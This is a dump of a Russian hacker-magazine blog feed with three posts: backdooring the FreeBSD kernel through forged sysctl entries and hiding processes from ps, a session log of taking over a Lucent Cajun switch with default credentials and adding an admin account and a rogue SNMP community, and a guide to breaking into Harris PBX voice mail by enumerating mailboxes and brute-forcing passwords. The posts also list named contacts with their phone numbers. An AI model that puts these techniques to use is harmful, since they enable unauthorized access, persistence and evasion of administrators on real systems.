Журнал ХакераЖурнал Хакера http://hackermaycry.ru Настольная книга компьютерного исследователя Sun, 20 May 2012 13:23:38 +0000 ru-RU hourly 1 http://wordpress.org/?v=3.4.2 Трюки с ядром FreeBSD http://hackermaycry.ru/?p=98 http://hackermaycry.ru/?p=98#comments Sat, 24 Mar 2012 16:40:05 +0000 admin http://l2.lexa/?p=98 Приколы с sysctl.

Необходимость в изменении стандартной схемы работы ядра операционной системы возникает достаточно часто. Особо остро эта проблема встаёт, когда нам надо совершить различные «незаконные» действия: внедрить в систему бэкдор; глубоко и далеко прятать какую-либо важную для нас информацию от пытливых взоров системных администраторов или, наоборот, взломщиков; сделать своё пребывание в операционной системе как можно менее заметным и т.д. Ниже будут приведены некоторые приёмы, при помощи которых это можно сделать в ядре операционной системы FreeBSD. Я думаю и надеюсь, что этот документ продолжит своё существование и будет пополняться новой информацией с каждым выпуском журнала. Так что, если у вас сть какие-либо свои разработки в области kernel-программирования под FreeBSD, то можете посодействовать общему делу и поделиться данной информацией :-). Очень надеюсь, что люди, готовые на это, найдутся.

1.
Предположим, нам надо добавить в ядро код, повышающий привилегии процесса, вызвавшего его. Процесс, как всем известно, взаимодействует с операционной системой при помощи системных вызовов. При вызове нужного API процесс передаёт операционной системе номер системного вызова и его параметры (номера системных вызовов и названия, соответстующие им, находятся в sys/syscall.h). После совершения вызова ядро выбирает из массива структур sysent[], находящегося у него в памяти, структуру sysent[номер_системного_вызова], затем берёт из неё указатель на функцию-обработчик системного вызова и вызывает её с параметрами, переданными процессом. Все kernel-бэкдоры, виденные мною в сети (смотрел я их не так уж и много, есть ещё и куча других), просто-напросто производили замену указателя на функцию-обработчик на свой указатель, соответствующий другой, «хакерской» функции. В настоящее время некоторые администраторы серверов на основе FreeBSD да и вообще всех UNIX-систем (механизм с sysent[] используется практически во всех UNIX-клонах) успешно борятся с такими бэкдорами: просто при загрузке системы создают копию массива sysent[] и время от времени сверяют её с настоящим массивом с целью выявить несоответствия. Если кто-либо произведёт модификацию таблицы системных вызовов, то это сразу будет выявлено. На самом деле, помимо модификации таблицы системных вызовов, можно придумать ещё великое множество способов для интеграции в ядро нужного нам кода. Конечно, в некоторых случаях перехват системных вызовов очень удобная штука. Например, для чтения из STDIN какого-либо процесса, удобно перехватить системный вызов read(), и когда процесс вызовет API read(), пытаясь прочитать из STDIN, то новая функция-обработчик легко сможет сохранить эту информацию и затем предоставить её взломщику. Но на данный момент это нас не интересует: нам нужен просто код, находящийся в адресном пространстве ядра и могущий в любой момент времени быть вызванным внешним процессом.

Один из приёмов выглядит следующим образом: многие системные вызовы при своей работе используют связанные списки структур. Некоторые списки содержат структуры, в которых есть указатели на функции. Когда пользовательский процесс делает вызов такого API, его обработчик, основываясь на данных, переданных пользовательским процессом (параметры системного вызова), перебирает структуры из списка, пока не находит нужную, а затем вызывает функцию, указатель на которую содержится в этой структуре. От нас только остаётся добавить свою структуру с указателем на нашу функцию + написать програмку, которая будет работать вне ядра и делать вызов данного затрояненого API с нужными нам параметрами. Как вы видите, механизм троянизации по своей идеологии точно такой же, как и при модификации таблицы системных вызовов. Только здесь модифицируется не сама таблица, а обработчик конкретного системного вызова. Для примера рассмотрю системный вызов sysctl, так как он как раз работает со связанным списком структур. Этот системный вызов предназначен для получения информации о внутренних структурах ядра, а также для их модификации. При вызове этого API ядру передаётся массив из элементов типа int, длина которого не должна превышать CTL_MAXNAME. На основе данных в этом массиве ядро выполняет определённое действие. Рассмотрим механизм выбора этого действия. В ядре существует множество структур типа sysctl_oid. Вот, как выглядит структура этого типа:

struct sysctl_oid {
	struct sysctl_oid_list *oid_parent;
	SLIST_ENTRY(sysctl_oid) oid_link;
	int		oid_number;
	int		oid_kind;
	void		*oid_arg1;
	int		oid_arg2;
	const char	*oid_name;
	int 		(*oid_handler)(SYSCTL_HANDLER_ARGS);
	const char	*oid_fmt;
	int		oid_refcnt;
};

Допустим, пользовательский процесс делает вызов API sysctl() и передаёт в качестве параметра массив из элементов типа int. Что происходит в ядре? Сначала из связанного списка sysctl__children (список из структур sysctl_oid) берётся самая первая структура и происходит сравнение элемента oid_number этой структуры с первым элементом int-массива, переданного пользовательским процессом. Заметим, что каждая структура связанного списка обладает уникальным значением элемента oid_number. Если значения элементов не соответствуют друг другу, то берётся следующая структура из списка и над ней проделывается такая же операция и т.д.. Если же значения элементов совпадают, то ядро сначала смотрит, есть ли у этой структуры вложенный список (если есть, то oid_kind должен содержать флаг CTLTYPE_NODE) и затем берёт этот новый связанный список, указатель на который располагается в элементе oid_name, и начинает с ним производить точно такие же действия, как и с предыдущим списком (sysctl_children). Только здесь с элементом oid_number сравнивается уже второй элемент int-массива. Снова перебирается весь список. При нахождении соответствия берётся ещё один список. Здесь сравнение идёт уже с третим элементом int-массива и т.д. Этот процесс продолжается до тех пор, пока не будет найдена структура, соответствующая последнему элементу int-массива или же пока не будет найдена структура, в которой указатель oid_handler не равен нулю. Когда это произойдёт, ядро выполнит функцию, адресуемую указателем oid_handler. Для более подробной информации можете заглянуть в файл /sys/kern/kern_sysctl.c. Ниже приведены исходники функций, которые выполняют вышеназванные операции.

Вот сама функция-обработчик системного вызова sysctl():

#ifndef _SYS_SYSPROTO_H_
struct sysctl_args {
	int	*name;
	u_int	namelen;
	void	*old;
	size_t	*oldlenp;
	void	*new;
	size_t	newlen;
};
#endif

int
__sysctl(struct proc *p, struct sysctl_args *uap)
{
	int error, i, name[CTL_MAXNAME];
	size_t j;

	if (uap->namelen > CTL_MAXNAME || uap->namelen < 2)
		return (EINVAL);

 	error = copyin(uap->name, &name, uap->namelen * sizeof(int));
 	if (error)
		return (error);

	error = userland_sysctl(p, name, uap->namelen,
		uap->old, uap->oldlenp, 0,
		uap->new, uap->newlen, &j);
	if (error && error != ENOMEM)
		return (error);
	if (uap->oldlenp) {
		i = copyout(&j, uap->oldlenp, sizeof(j));
		if (i)
			return (i);
	}
	return (error);
}

Как видно, в процессе своей работы она вызывает функцию userland_sysctl(). Внутри userland_sysctl() происходит вызов функции sysctl_root(), а внутри sysctl_root() вызывается ещё одна: sysctl_find_oid(), которая и реализует алгоритм поиска нужной структуры. Я внёс небольшие комментарии, так что изучайте на здоровье:

int
sysctl_find_oid(int *name, u_int namelen, struct sysctl_oid **noid,
    int *nindx, struct sysctl_req *req)
{
	struct sysctl_oid *oid;
	int indx;

	oid = SLIST_FIRST(&sysctl__children); /* теперь oid - первая 
	                                       структура из списка 
	                                       sysctl__children */
	indx = 0;
	while (oid && indx < CTL_MAXNAME) {
		if (oid->oid_number == name[indx]) { 
		/* сравнение oid_number с элементом int-массива */
			indx++;
			if (oid->oid_kind & CTLFLAG_NOLOCK)
				req->lock = 0;
			if ((oid->oid_kind & CTLTYPE) == CTLTYPE_NODE) {
				if (oid->oid_handler != NULL ||
				    indx == namelen) { 
		/* если достигнут последний элемент int-массива или 
		существует указатель oid_handler, то завершаем поиск */
					*noid = oid;
					if (nindx != NULL)
						*nindx = indx;
					return (0);
				}
				oid = SLIST_FIRST(
				    (struct sysctl_oid_list *)oid->oid_arg1);
				/* здесь берётся новый список структур и 
				выбирается первый элемент из него */
			} else if (indx == namelen) {
				*noid = oid;
				if (nindx != NULL)
					*nindx = indx;
				return (0);
			} else {
				return (ENOTDIR);
			}
		} else {
			oid = SLIST_NEXT(oid, oid_link); 
		/* если oid_number текущей структуры не соответствует 
		 элементу int-массива, то берётся следующая структура из 
		 списка */
		}
	}
	return (ENOENT);
}

Когда эта функция заканчивает свою работу, она возвращает в функцию, вызвавшею её (sysctl_root()) указатель на найденную структуру sysctl_oid и затем в sysctl_root() поисходит вызов oid_handler.

Как несложно догадаться, чтобы затроянить ядро, нам нужно внедрить свою структуру sysctl_oid в один из списков и поместить в элемент oid_handler указатель на нужную нам функцию. Затем, в тот момент, когда нам нужно исполнить код этой функции, мы просто создаём програмку, в которой происходит вызов sysctl(), и передаём в ядро int-массив, идентифицирующий нашу структуру. Пример kernel-модуля, проделывающего эту операцию, прилагается.

Помимо простого внедрения нашего кода в ядро, при помощи механизма с sysctl() можно сделать ещё ряд интересных вещей. К примеру, такую вещь, как скрытие процессов от комманды ps. В своё время неким pragmatic’ом был описан один способ. Суть его заключалась в следующем: комманда ps для получения списка работающих в системе процессов использует системный вызов sysctl(). В этом способе просто происходил перехват системного вызова (производилась замена его функции-обработчика). Новая функция вызывала оригинальный обработчик sysctl, но перед этим проверяла int-массив, передаваемый процессом в качестве параметра. Если элементы массива соответствовали определённым числам (числа, обозначающие, что это — запрос информации о процессах), то происходила проверка того, что возвратила оригинальная функция-обработчик. Если в возвращаемых данных встречалась какая-либо информация о скрываемом процессе, то эта инфа просто исключалась из данных. После такой обработки данные отправлялись наружу, то есть в процесс, вызвавший sysctl(). Вот и всё. На самом деле, то же самое можно реализовать немного элегантнее и безопаснее (естественно для взломщика). Для этого мы будем заменять не функцию-обработчик API sysctl(), а спустимся немного глубже. Как было уже сказано выше, при помощи sysctl можно узнать список работающих в системе процессов, то есть в памяти ядра существует структура sysctl_oid, содержащая указатель на функцию, которая «вытягивает» из ядра всю информацию о процессах. Что теперь зависит от нас? Есть 2 способа: либо заменить указатель на функцию, либо заменить всю структуру, предварительно подредактировав указатели соседних структур связанного списка. Функция, адресуемая новым указателем, по принципу своей работы аналогична той, которая в предыдущем способе служила заменой системному вызову sysctl(). Как вы видите, здесь не происходит явного перехвата системного вызова, поэтому стандартные средства, применяемые админами для детектирования в ядре враждебного кода, не работают.

]]>
http://hackermaycry.ru/?feed=rss2&p=98 0
Исследование сетевого оборудования Lucent Techologies Cajun Switch Agent http://hackermaycry.ru/?p=94 http://hackermaycry.ru/?p=94#comments Sat, 24 Mar 2012 16:09:45 +0000 admin http://l2.lexa/?p=94  В Рунете, да и на буржуйских сайтах по нетсекурити я не встречал более менее упорядоченного материала по поводу атак на сетевое оборудование… Поэтому я решил восполнить данный пробел…. При написании использовалась часть материалов Default Logins For Network Devices, программой WS_Ping Pro Pack, а также nmap by Feodor/ADM_SNMP_Community_String_Bruteforser.

Описания будут происходить по такому принципу
0)Название/сайт производителя
1)Описание
2)Default paswords
3)SNMP
4)Различные hints/features/bugz замеченные мной, комментарии короче

Итак начнем:

0) Lucent Techologies Cajun Switch Agent:

Я думаю человеку знакомому с сетевыми технологиями не стоит обяснять что такое фирма Lucent… Для тех кто с бронепоезда — www.lucent.com, также допольнительную информацию по свитчу можно получить вот здесь: http://www.cz3.nus.edu.sg/docs/cajun/start.htm

1) Lucent Cajun Switch — свитч поддерживающий технологию Gigabit Ethernet, технологии позволяющей передавать данные по локальной сети со скоростью около 1 гигабита в секунду, и так далее и так далее …

Уважаемый Cajun встретил меня надписью
———————=======================================——————————
Copyright © 1998, All rights reserved by Lucent Technologies Corporation

This software is furnished under a license and may be used in accordance
with the terms of such license and with the inclusion of the above
copyright notice. This software or any other copies thereof may
not be provided or otherwise made available to any other person.
No title to and ownership of the software is hereby transferred.

Contains software developed by:

Epilogue Technology Corporation
Copyright (c) 1988 — 1996 Epilogue Technology Corporation

TEC Technically Elite Concepts, Inc,
Copyright (c) 1994 by Technically Elite Concepts, Inc,
Hermosa Beach, California, U.S.A.

ISI Integrated Systems, Inc.
Copyright 1991 — 1995, Integrated Systems, Inc.

All other trademarks used herein are the property of their respective owners.

Lucent Technologies Cajun Switch Agent v3.0.2
Press Ctrl-P for previous command, Ctrl-N for next command, ? for help.

———————=======================================——————————
Логинимся

Cajun> ?
community SNMP Community configuration
console Console configuration
download TFTP code image download
event Event Table display
exit Exit the application
feprom Flash EPROM configuration
module Module configuration
net Network configuration
nvram Initializes NV RAM — diags run upon reboot
pause Pause for a given number of milliseconds
ping <host> <tries> <delay> <size> <quiet>
port Port configuration
power Power configuration
queuingMode Input/Ouput queuing through fabric and to SMAC ports
reset Reset System
rtc Real Time Clock configuration
setup Setup console IP Address/Mask/Gateway
stack Last saved context display (stack [force])
swPort Switch port configuration
telnet Telnet protocol (telnet <host>)
user User Account configuration
verbose Toggle verbose mode
version Display the software version number
vlan VLAN configuration

Cajun>

lets dance baby ;P

Cajun> user list

 UserID    User Name    Access Type
 ------    ---- ----    -----------
 1         root           ADMINISTRATOR
 2         diag           DIAGNOSTICS
 3         manuf        MANUFACTURING

Cajun> user add

Syntax: user add <userName> <userPassword> <1= READ_ONLY, 2= READ_WRITE, 3=ADMINISTRATOR>

Cajun> user add b00ster dev/ice 3

User Account created successfully.

Cajun> net ip display route_table

Destination     Mask            Next Hop        Device               Source

0.0.0.0         255.0.0.0       0.0.0.0         Self                 Local
10.1.1.1        255.255.255.255 10.1.1.1        Ethernet Management  Local
10.1.1.255      255.255.255.255 255.255.255.255 Ethernet Management  Local
10.1.1.0        255.255.255.0   10.1.1.1        Ethernet Management  Local
127.0.0.0       255.0.0.0       0.0.0.0         Self                 Local
167.206.173.50  255.255.255.255 167.206.173.50  Inband               Local
167.206.173.63  255.255.255.255 255.255.255.255 Inband               Local
167.206.173.48  255.255.255.240 167.206.173.50  Inband               Local
255.255.255.255 255.255.255.255 255.255.255.255 Self                 Local
224.0.0.0       224.0.0.0       0.0.0.0         Self                 Local
0.0.0.0         0.0.0.0         167.206.173.49  Inband               Static

Cajun> net ip display interfaces

Device                Internet Address    Mask          Physical Address  Mode

Ethernet Management   10.1.1.1         255.255.255.0    02-e0-3b-0b-09-06 Up
Inband                167.206.173.50   255.255.255.240  02-e0-3b-0b-09-07 Up
PPP Console Serial    0.0.0.0          0.0.0.0          44-45-53-54-00-00 Down

Cajun> port show all

   Port Status for module 1

                                Auto
                                Neg.   Speed     Duplex
Port Type   Mode   Status       Mode   Status    Status
---- ------ ------ ------------ ------ --------- -----------
1.1  Int    Enable Okay         Disabl 1 Gb/s    Full Duplex

   Port Status for module 2

                                Auto
                                Neg.   Speed     Duplex
Port Type   Mode   Status       Mode   Status    Status
---- ------ ------ ------------ ------ --------- -----------
2.1  Gig    Enable Okay         Disabl 1 Gb/s    Full Duplex
2.2  Gig    Enable Okay         Disabl 1 Gb/s    Full Duplex
2.3  Gig    Enable Okay         Disabl 1 Gb/s    Full Duplex
2.4  Gig    Enable Okay         Disabl 1 Gb/s    Full Duplex

   Port Status for module 3

                                Auto
                                Neg.   Speed     Duplex
Port Type   Mode   Status       Mode   Status    Status
---- ------ ------ ------------ ------ --------- -----------
3.1  Gig    Enable Okay         Disabl 1 Gb/s    Full Duplex
3.2  Gig    Enable Okay         Disabl 1 Gb/s    Full Duplex
3.3  Gig    Enable Okay         Disabl 1 Gb/s    Full Duplex
3.4  Gig    Enable Okay         Disabl 1 Gb/s    Full Duplex

   Port Status for module 4

                                Auto
                                Neg.   Speed     Duplex
Port Type   Mode   Status       Mode   Status    Status
---- ------ ------ ------------ ------ --------- -----------
4.1  Gig    Enable Okay         Disabl 1 Gb/s    Full Duplex
4.2  Gig    Enable No Link      Disabl 1 Gb/s    Full Duplex

   Port Status for module 5

                                Auto
                                Neg.   Speed     Duplex
Port Type   Mode   Status       Mode   Status    Status
---- ------ ------ ------------ ------ --------- -----------
5.1  Gig    Enable Okay         Disabl 1 Gb/s    Full Duplex
5.2  Gig    Enable No Link      Disabl 1 Gb/s    Full Duplex

   Port Status for module 6

                                Auto
                                Neg.   Speed     Duplex
Port Type   Mode   Status       Mode   Status    Status
---- ------ ------ ------------ ------ --------- -----------
6.1  10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.2  10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.3  10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.4  10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.5  10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.6  10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.7  10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.8  10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.9  10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.10 10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.11 10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.12 10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.13 10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.14 10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.15 10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.16 10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.17 10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.18 10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.19 10/100 Enable No Link      Enable Auto Neg. Auto Neg.
6.20 10/100 Enable Okay         Enable 10 Mb/s   Half Duplex

Cajun>

2) Дефолтов на самом деле не очень много… по крайней мере те которые я встретил..

            логин         группа                        пароль

 1         root           ADMINISTRATOR          root
 2         diag           DIAGNOSTICS             ?
 3         manuf        MANUFACTURING         ?

На diag/manuf я так и не смог найти соответствующей информации…

3) SNMP

Cajun> community display all

Index String               IP Address      Access Security Traps Status
----- -------------------- --------------- ------ -------- ----- ------
1     public               ***.***.***.***  RO     NORM     F     A

Соответственно:

Cajun> community add hacked ***.***.***.*** 3 2 0
Create Succeeded.
Cajun> community display all

Index String               IP Address      Access Security Traps Status
----- -------------------- --------------- ------ -------- ----- ------
1     public               ***.***.***.***  RO     NORM     F     A
2     hacked             ***.***.***.***  RW     ADMIN    F     A

Что называется чувствуете разницу? вот вот….
Правда полазив по MIB’ам ничего уж СВЕРХ секретного я не нашел, кроме возможности изменять файлы конфигурации… Мне это особо интересным не показалось на самом деле… и то может быть потому что я был god на этом свитче и наверно на нем так и останусь.

4) Особых багов я не нарулил, и то наверно потому, что мне было влом ковырятся :P
Особое нарекание вызывает web-интерфейс, который прикручен к сей железке.. С помощью брутфорса можно попытатся подобрать пароли, благо логи не ведутся.

]]>
http://hackermaycry.ru/?feed=rss2&p=94 0
АТС HARRIS 20-20. Информация к размышлению http://hackermaycry.ru/?p=90 http://hackermaycry.ru/?p=90#comments Sat, 24 Mar 2012 15:40:03 +0000 admin http://l2.lexa/?p=90 d$$$$$$$$$$$$$b $$ $$$$$ $$ $$ $$ ,$$$$$$$$, $$$$$$$$$, $$$$$$$$$, $$ ,$$$$$$$$, $$ $$$$$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$. №№ .∙`∙.∙'∙.∙'∙:: $$$$$$$$$$ $$$$$$$$$$ $$$$$$$$№' $$$$$$$$№' $$ `°SSSSSSs. $$ $$$$$ $$ $$ $$ $$ $$ $$ `$$. $$ `$$. $$ ss `$$ $$ $$$$$ $$ $$ $$ $$ $$ $$ `$$.$$ `$$.$$ `$$$$$$$$' ¤$$$$$$$$$$$$$¤

Наконец-то нам удалось попасть на настоящую pаботающую АТС — Harris 20-20M !!! И даже за паpу коpотких ночных часов полистать несколько ужасно пухленьких томиков с документацией для этой АТС. И хотя то, для чего и была собственно совеpшенна эта ночная «вылазка», мы не узнали, но все же несказано обогатили свои знания об этом чуде совpеменной техники. Возможно конечно что-то мы в спешке пеpепутали или истолковали невеpно, так что не советуем пpинимать этот pассказ за абсолютную истину. Это пpосто инфоpмация к pазмышлению…

Как оказалось документация едина для тpех модификаций — LH, L, M, котоpые отличаются дpуг от дpуга максимальным числом поддеpживаемых абонентов и некотоpым набоpом сеpвисных функций. Документация состоит из следующих книг:

   1.  Integrated Network Platform
        Installation Manual

   2.        Harris 20-20
         System Configuration

   3.         Harris 20-20
          Installation, Acceptance
        Testing and Maintenance Manual

   4. Integrated Network Platform
            Service Manual

   5.         Harris 20-20
       General System Discryption

   6.        Harris 20-20
        Configuration Data Forms

   7.        Harris 20-20
        Software Users Manual

По следующим адресам можно приобрести документацию по Harris 20-20LH:

1) «Главный» покупатель Harris 20-20LH в России:
фиpма «Интеpпpоком» — 095 230 95 87 Подвалов Сеpгей Петpович
095 230 33 35 Fax
Ген.диp Вейнеpов О.М.

2) Пpедставительство коpпоpации HARRIS, отделение DTS:
095 261 09 66
261 93 96
F 755 88 28
Биpсельд Илья Эдикович
Головин Андpей Анатольевич

3) Пpедставитель пpодавца Lytians SYS
095 267 00 04 многолинейка
F 230 33 35 Гомзиков Петp

Собственно упpавление АТС пpоизводится вставленной в слот pасшиpения платой содеpжащей на себе пpоцессоp, винчестеp, пятидюймовый дисковод и т.д. — то есть компьютеp. На винчестеpе хpанится база с данными об абонентах, о гpуппах и категоpиях абонентов. Доступ к базе осуществляется с компьютеpа HARRIS, pаботающего под упpавлением HARRIS OS, одной из модификаций UNIX. Пpичем у обслуживающего пеpсонала доступа к самой OS нет, то есть пpи включении сpазу запускается пpогpамма pаботы с базой. Работать с базой можно удаленно, то есть чеpез спутниковый канал или по телефонным линиям с помощью HAYES-несовместимых модемов DCA, хотя иногда встpечаются входы и с HAYES-cовместимыми модемами. Вход для удаленного администpиpования АТС HARRIS можно узнать по следующему пpиглашению:

==========================================================================

                        Welcome to the Harris
                    System Administration Monitor

   Copyright Harris Corporation 1984, 1985, 1986, 1987, 1988, 1989,
                       1990, 1991, 1992, 1993

Username ...?
Password ...?

Good Afternoon, ADMIN, it is 15-APR-1998 14:20:46 WED
Welcome to Harris Administration System Running on Version 10.42.C02

You are logged onto shelf 2
The system status is ACTIVE/STANDBY
... Enter 'HELP' for a menu ...

ADMIN ...?

=======================================================================

По умолчанию в ситеме установлено четыpе аккаунта: два — для использования только сотpудниками фиpмы Harris, то есть пpактически в любой момент вpемени сотpудники этой самой фиpмы могут сотвоpить с вашей АТС все что угодно; аккаунт ADMIN, и аккаунт HOST c более низкими пpавами.

Все паpоли 16-и символьные, пpичем большие и маленькие буквы в паpоле не pазличаются. Паpоли для пеpвых двух аккаунтов известны само собой только сотpудникам фиpмы HARRIS. Паpоли для аккаунтов ADMIN и HOST в документации не записаны, они сообщаются отдельно пpи покупке АТС и есть подозpение что уж если не для каждой АТС, то для каждой паpтии они pазные.

Вот небольшой FAQ с самыми полезными вещами, он поможет вам на первом этапе:
Help по Help-у: Путь указан в виде /edit/select a/ext, но станция такого не поймёт! Hа приглашение введите «edit», станция войдёт в редактор конфигурации, затем выберете базу А «select a», после чего страничку Extension «ext».
«HОМЕР» (заглавными буквами) означает логический номер телефона.

**** CDR Просмотр истории вызовов

/cdr display /after mm-dd-yy /selected-station=xxx

**** Reboot

Переключение на резервную машину и перезагрузка основной: edit/util/reboot

**** Блокировка порта (любого типа).

Удалить порт из обслуживания: /tdd/remove
Вернуть в обслуживание: /tdd/restore
Просмотр: /tdd/status idle — готов
busy — занят
maintenance busy — блокирован

**** Hезавершённая Edit сессия

/edit/util/recover выбрать базу, на вопрос «Resume the edit session» ответить:
Yes — восстановить сессию
No — убить

**** Добавить ADMIN_DCA

/edit/select a/data/control установить Control_Table для ADMDCA
/edit/select a/sysedt/device прописать системный девайс ADMDCA
* DCA прописанный как ADMIN не имеет HОМЕРА и не пригоден для передачи данных!

**** Добавить/изменить/удалить HОМЕР:

/edit/select a/ext …

**** Просмотр установленных портов и их назначения (в том числе соответствия логических и физических данных по HОМЕРАМ):

/edit/select a/board

**** Редактирование базы:

/edit/select a …
По окончании необходимо дать комманду «save» или «kill».

Адреса портов: xx-yy-zz
xx — номер полки
yy — номер платы
zz — номер порта в плате

Hомерация полок:

   ╒╨╨╨╨╨°╨╨╨╨╨°╨╨╨╨╨╪
   ╬  4  ╬  1  ╬  7  ╬
   ╙░░░░░¤░░░░░¤░░░░░Ї
   ╬  5  ╬  2  ╬  8  ╬
   ╙░░░░░¤░░░░░¤░░░░░Ї
   ╬  6  ╬  3  ╬  9  ╬
   █╨╨╨╨╨√╨╨╨╨╨√╨╨╨╨╨▐

1 и 2 — машины, 3 — как правило общее оборудование (транки, DTMF Reciver’s, etc).  Шкафа с полками 7-9 может не быть. Hомера плат указаны на полке.
Вот в пpинципе и все. Немного конечно. Поэтому мы будет пpизнательны за любую инфоpмацию по АТС фиpмы HARRIS.

HARRIS 20-20LH: Voice Mail System.

КАК ПОПАСТЬ В Voice Mail System?

В этом руководстве пойдет речь о системе «голосовой почты» (Voice Mail) являющейся одной из услуг АТС HARRIS 20-20. В функции этой системы входит отправка голосовых сообщений и эмуляция автоответчика. Hо все это будет работать у вас только в том случае, если на вашей АТС установлена соответствующая плата и необходимый модуль ОС.

Итак, как же попасть в Voice Mail System? Для этого нужно поднять трубку, услышать непрерывный гудок (сигнал готовности станции) и тоном набрать: #1 или #5. Если нечего не получилось, попробуйте нажимать ‘#’ и другие цифры. Если же вы перебрали все цифры, а результата нет — переходитет к следующему способу.

Узнайте номер телефона на котором установлен Voice Mail’овский автоответчик, выберите момент когда хозяин этого номера не сможет ответить на ваш звонок, и позвоните на этот номер. Подождите пока включится автоответчик, когда это произойдет, зразу же нажимайте ‘#’, после этого вы должны попасть в систему «голосовой почты».

Voice Mail HACKING.

 

Сразу после того как вы попадете в систему «голосовой почты» вас попросят ввести «свой идентификационный номер» (номер почтового ящика). Так как вашего личного ящика у вас конечно же нет, придется искать либо свободный (не кем не занятый ящик), либо чужой (но придется подбирать пароль). Как показывает практика номер ящики может состоять от 2 до 10 цифр, причем первая цифра не может быть ’0′. Вам дается три попытки, если с трех попыток вы не ввели правильный номер ящика вас «сбрасывают». Но не торопитесь преступать к перебору, сначало попробуйте ввести ’411′ (подробнее см. главу 5.3), после нажмите ’3′, а потом ’1′ — вы услышите имена и/или номера телефонов владельцев почтовых ящиков, запишите их. Что делать дальше? Используя телефонный справочник и схему приведенную в главе 5 вы получете номера всех (или почти всех) почтовых ящиков в вашей системе.

Теперь вводите полученые вами номера ящиков. Если вас просят ввести пароль, значит ящик уже кем-то занят, а если сразу просят произвести настройку или написать/прочитать сообщения, то ящик либо свободный, либо уже занятый кем-то, но пароль не установлен.

После того, как вы перебрали все полученые вами номера, если есть желание, попробуйте ввести еще несколько номеров почтовых ящиков: «11″, «22″, «33″, «44″, «55″, «66″, «77″, «88″, «99″, «10″, «20″, «30″, «40″, «50″, «60″, «70″, «80″, «90″. Потом попробуйте то же самое, но добавляя еще одну цифру (111,222,333,…,100,200,300,…), дойдите так до десятизначного номера. Если не получилось, пробуйте что то вроде: «123″, «456″, «789″,… Так же постепенно увеличивайте длину. Вообщем перибирайте и возможно вам повезет отыскать не кем не занятый ящик. Если вы не нашли никаких ящиков кроме запароленых, что ж, приступайте к перебору паролей. Вам дается всего одна попытка, после этого придеться вновь входить в систему «голосовой почты», вводить номер ящика и пробывать следующий вариант пароля.

Теперь, если вы наконец обзавелись ящиком, приступайте к его настройке.

СХЕМА МЕНЮ В СИСТЕМЕ Voice Mail.

  Ваши ключи: [1] - Да
              [2] - Нет
              [3] - Повторить меню
              [7] - Назад
              [8] - Пауза
              [9] - Вперед
              [*] - остановка

Когда Вы войдете в Ваш почтовый ящик будет такая схема (цифры в таблице предназначены для более быстрого перемещения по меню:

╔═══════════════════════════╗      ╔═════════════════════╗
║      Главное меню         ║  ┌───╢ Организация выбора  ║
╠═══════════════════════════╣  │   ╠═════════════════════╣          ╔═══════════════════════════════╗
║Проверка новых сообщений  4║  │   ║Приведствие         4╟──────────╢          Приветствие          ║        ╔════════════════════════╗
║Оставить сообщение        5║  │   ║Группы              5╟───────┐  ╠═══════════════════════════════╣    ┌───╢ Редактирование группы  ║
║Обзор старых сообщений    6║  │   ║Передача и доставка 6╟─────┐ │  ║Слушайть текущее приведствие  4║    │   ╠════════════════════════╣
║Изменение установки опций 7╟──┘   ║Персональные уст.   7╟─┐   │ │  ║Включить приведствие          5║    │   ║Добавить новых членов  4║
╚═══════════════════════════╝      ╚═════════════════════╝ │   │ │  ║Отредакт. стандарт. приветст. 6║    │   ║Удалить членов         5║
                                                           │   │ │  ║Отредакт. дополнит. приветст. 7║    │   ║Внести членов в список 6║
                                                           │   │ │  ║Отредакт. приветст. для факса 8║    │   ║Изменить имя группы    7║
                                                           │   │ │  ╚═══════════════════════════════╝    │   ╚════════════════════════╝
                                                           │   │ │   ╔═════════════════════════════╗     │
                                                           │   │ └───╢           Группы            ╟─────┘      ╔════════════════════════════╗
                                                           │   │     ╠═════════════════════════════╣      ┌─────╢     Изменение передачи     ║
                                                           │   │     ║Создать группы              4║      │     ╠════════════════════════════╣
                                                           │   │     ║Отредактировать ваши группы 5║      │     ║Изменить номер тел.        4║                      ╔═══════════════════════════╗
                                                           │   │     ║Внесите ваши группы         6║      │     ║Вкл/выкл. вызов экрана     5║       ┌──────────────╢    Изменение доставки     ║
                                                           │   │     ║Удалить ваши группы         7║      │     ║Вкл/ввкл. удержание вызова 6║       │              ╠═══════════════════════════╣
                                                           │   │     ╚═════════════════════════════╝      │     ╚════════════════════════════╝       │              ║Изменение тел. номера     4║
                                                           │   │      ╔═══════════════════════════╗       │        ╔══════════════════════════════╗  │              ║Изменение расписания      5║
                                                           │   └──────╢    Передача и Доставка    ║       │     ┌──╢      Доставка сообщений      ║  │              ║Вкл/выкл срочной доставки 6║
                                                           │          ╠═══════════════════════════╣       │     │  ╠══════════════════════════════╣  │              ║Записи только для факса   7║
                                                           │          ║Изменение вызова передачи 4╟───────┘     │  ║Домашний номер тел. вкл/выкл 4╟──┤              ╚═══════════════════════════╝
                                                           │          ║Сообщение доставки        5╟─────────────┘  ║Страницы тел. вкл/выкл       5╟──┤
                                                           │          ╚═══════════════════════════╝                ║Свободные тел. вкл/выкл      6╟──┤                ╔═══════════════════════════╗
                                                           │           ╔═════════════════════════╗                 ║Рабочий номер тел. вкл/выкл  7╟──┘         ┌──────╢ Изменение соощения факса  ║
                                                           └───────────╢   Персональные уст.     ║                 ║Факс вкл/выкл                8╟────────────┘      ╠═══════════════════════════╣
                                                                       ╠═════════════════════════╣                 ╚══════════════════════════════╝                   ║Изменение номера телефона 4║
                                                                       ║Изменение пароля        4║                                                                    ║Изменение расписания      5║
